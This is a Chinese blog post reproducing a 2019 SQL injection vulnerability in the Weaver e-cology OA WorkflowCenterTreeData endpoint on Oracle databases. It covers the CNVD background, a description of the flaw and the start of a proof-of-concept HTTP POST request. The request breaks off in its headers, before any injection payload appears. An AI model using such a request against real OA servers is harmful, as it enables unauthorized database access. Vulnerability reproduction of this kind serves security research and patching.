泛微OA WorkflowCenterTreeData接口注入复现（仅限oracle数据库）

最新推荐文章于 2024-10-02 10:51:38 发布

po-ke-ye-sheng-miao

最新推荐文章于 2024-10-02 10:51:38 发布

阅读量117

点赞数

文章标签： oracle 数据库

本文链接：https://blog.csdn.net/po-ke-ye-sheng-miao/article/details/129357036

版权

本文介绍了泛微e-cology OA系统在2019年的一个SQL注入漏洞，该漏洞源于WorkflowCenterTreeData接口对Oracle数据库SQL语句的安全检查不足，允许攻击者注入恶意payload。修复方案建议在官方补丁发布前下线受影响的网站。

摘要由CSDN通过智能技术生成

背景

2019年10月10日CNVD发布了泛微e-cology OA系统存在SQL注入漏洞。该漏洞是由于OA系统的WorkflowCenterTreeData接口中涉及Oracle数据库的SQL语句缺乏安全检查措施所导致的，任意攻击者都可借SQL语句拼接时机注入恶意payload，造成SQL注入攻击。

漏洞描述

泛型微生态OA系统的WorkflowCenterTreeData接口在使用Oracle数据库时，由于内置sql语句分解不严密，导致其存在的sql注入漏洞

（图片来源网络）

POC：

POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cook